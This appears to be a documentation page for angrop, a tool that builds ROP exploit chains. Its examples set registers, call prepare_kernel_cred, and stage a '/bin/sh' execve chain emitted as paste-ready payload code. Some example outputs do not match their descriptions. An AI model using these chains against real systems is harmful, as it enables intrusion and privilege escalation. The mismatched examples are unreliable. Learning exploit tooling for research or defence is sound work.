Register Control

Overview

Register control is fundamental to ROP chain construction. angrop provides powerful primitives for setting and moving register values, which can be combined to create complex chains.

Setting Registers

Basic set_regs()

The set_regs() method sets registers to specific values:

import angr
import angrop

# Load binary and initialize
p = angr.Project("/bin/ls")
rop = p.analyses.ROP()
rop.find_gadgets()

# Set single register
chain = rop.set_regs(rax=0x1337)

# Set multiple registers
chain = rop.set_regs(rax=0x1337, rbx=0x56565656)

# Print the chain
chain.print_payload_code()

Example Output

code_base = 0x0
chain = b""
chain += p64(code_base + 0xf5e2)   # pop rbx; pop r12; test eax, eax; pop rbp; cmovs eax, edx; ret 
chain += p64(0x56565656)
chain += p64(0x0)
chain += p64(0x0)
chain += p64(code_base + 0x812f)   # pop rsi; pop rbp; ret 
chain += p64(0x1337)
chain += p64(0x0)
chain += p64(code_base + 0x169dd)  # mov rax, rsi; ret 
chain += p64(code_base + 0x10a55)

Moving Registers

Using move_regs()

The move_regs() method copies values between registers:

# Move value from rdx to rax
chain = rop.move_regs(rax='rdx')

chain.pp()

Example Output

0x0000000000034573: pop rcx; ret 
                    <preserved rax value>
0x000000000004a1dd: pop rdi; mov edx, 0x89480002; ret 
                    <rdx value>
0x00000000000d5a94: mov qword ptr [rcx + 8], rdi; ret 
                    <BV64 next_pc_1081_64>

This chain moves the value from rdx into rax using intermediate gadgets.

Combining Chains

Set up initial values

import angr
import angrop

p = angr.Project("/bin/ls")
rop = p.analyses.ROP()
rop.find_gadgets()

# Set initial register values
chain = rop.set_regs(rbx=0x41414141, rcx=0x42424242)

Add more operations

# Chain additional register operations
chain += rop.set_regs(rdx=0xdeadbeef)

# Move registers around
chain += rop.move_regs(rax='rbx')

View the complete chain

# Pretty-print for debugging
chain.pp()

# Or generate exploit code
chain.print_payload_code()

Complete Example

import angr
import angrop

# Initialize
p = angr.Project("/bin/ls")
rop = p.analyses.ROP()
rop.find_gadgets()

# Build complex chain
chain = rop.set_regs(rax=0x1337, rbx=0x56565656, rcx=0xdeadbeef)
chain += rop.move_regs(rdx='rax')
chain += rop.set_regs(rsi=0xcafebabe)

# View the chain
chain.print_payload_code()

Preserving Registers

When calling functions, you can preserve specific registers:

# Preserve rdi register during function call
chain = rop.func_call(
    "prepare_kernel_cred", 
    (0x41414141, 0x42424242), 
    preserve_regs={'rdi'}
)

chain.pp()

Output

0xffffffff81489752: pop rsi; ret 
                    0x42424242
0xffffffff8114d660: <prepare_kernel_cred>
                    <BV64 next_pc_4280_64>

Notice that the first argument (0x41414141) is ignored because rdi is preserved, so the function will use whatever value is already in rdi.

Avoiding Bad Bytes

You can specify bad bytes to avoid in your chain:

# Avoid null bytes and newlines
rop.set_badbytes([0x0, 0x0a])

# This chain will not contain 0x00 or 0x0a bytes
chain = rop.set_regs(eax=0)

chain.print_payload_code()

angrop will automatically find alternative gadgets that don’t contain the specified bad bytes.

Real-World Example: Setting Up Syscall Arguments

import angr
import angrop

# Load binary
p = angr.Project("/bin/ls")
rop = p.analyses.ROP()
rop.find_gadgets()

# Set up for read(0, buffer, 0x100) syscall
buffer_addr = 0x804f000

chain = rop.set_regs(
    rax=0,              # syscall number for read
    rdi=0,              # fd = stdin
    rsi=buffer_addr,    # buffer address
    rdx=0x100           # count = 256 bytes
)

# Or use the built-in do_syscall method
chain = rop.do_syscall(0, [0, buffer_addr, 0x100], needs_return=False)

chain.print_payload_code()

Advanced: Register Arithmetic

You can also perform operations on registers:

# Move register and then set another
chain = rop.move_regs(rax='rdx')
chain += rop.set_regs(rbx=0x1000)

# The order matters - operations are applied sequentially
chain.pp()

Debugging Tips

Pretty Print

Use pp() to see exactly what each gadget does:

chain = rop.set_regs(rax=0x1337, rbx=0x5656)
chain.pp()

Payload Code

Use print_payload_code() to get ready-to-paste Python code:

chain.print_payload_code()

This outputs code you can directly copy into your exploit script.

Chain Composition Patterns

Pattern 1: Setup, Execute, Cleanup

# Setup registers
setup = rop.set_regs(rax=0x1337, rbx=0x2000)

# Execute function
execute = rop.func_call("dangerous_function", [0x41414141, 0x42424242])

# Combine
chain = setup + execute

Pattern 2: Multi-Stage Chains

# Stage 1: Write "/bin/sh" to memory
stage1 = rop.write_to_mem(0x61b100, b"/bin/sh\x00")

# Stage 2: Set up registers for execve
stage2 = rop.set_regs(rdi=0x61b100, rsi=0, rdx=0)

# Stage 3: Call execve
stage3 = rop.func_call("execve", [0x61b100, 0, 0], needs_return=False)

# Complete chain
chain = stage1 + stage2 + stage3
chain.print_payload_code()

This modular approach makes complex chains easier to build and debug.

Basic Examples

Advanced Examples

Register Control

Overview

Setting Registers

Basic set_regs()

Example Output

Moving Registers

Using move_regs()

Example Output

Combining Chains

Complete Example

Preserving Registers

Output

Avoiding Bad Bytes

Real-World Example: Setting Up Syscall Arguments

Advanced: Register Arithmetic

Debugging Tips

Pretty Print

Payload Code

Chain Composition Patterns

Pattern 1: Setup, Execute, Cleanup

Pattern 2: Multi-Stage Chains

Build docs developers (and LLMs) love

Basic Examples

Advanced Examples

Documentation Index

​Overview

​Setting Registers

​Basic set_regs()

​Example Output

​Moving Registers

​Using move_regs()

​Example Output

​Combining Chains

​Complete Example

​Preserving Registers

​Output

​Avoiding Bad Bytes

​Real-World Example: Setting Up Syscall Arguments

​Advanced: Register Arithmetic

​Debugging Tips

​Pretty Print

​Payload Code

​Chain Composition Patterns

​Pattern 1: Setup, Execute, Cleanup

​Pattern 2: Multi-Stage Chains

Build docs developers (and LLMs) love

Overview

Setting Registers

Basic set_regs()

Example Output

Moving Registers

Using move_regs()

Example Output

Combining Chains

Complete Example

Preserving Registers

Output

Avoiding Bad Bytes

Real-World Example: Setting Up Syscall Arguments

Advanced: Register Arithmetic

Debugging Tips

Pretty Print

Payload Code

Chain Composition Patterns

Pattern 1: Setup, Execute, Cleanup

Pattern 2: Multi-Stage Chains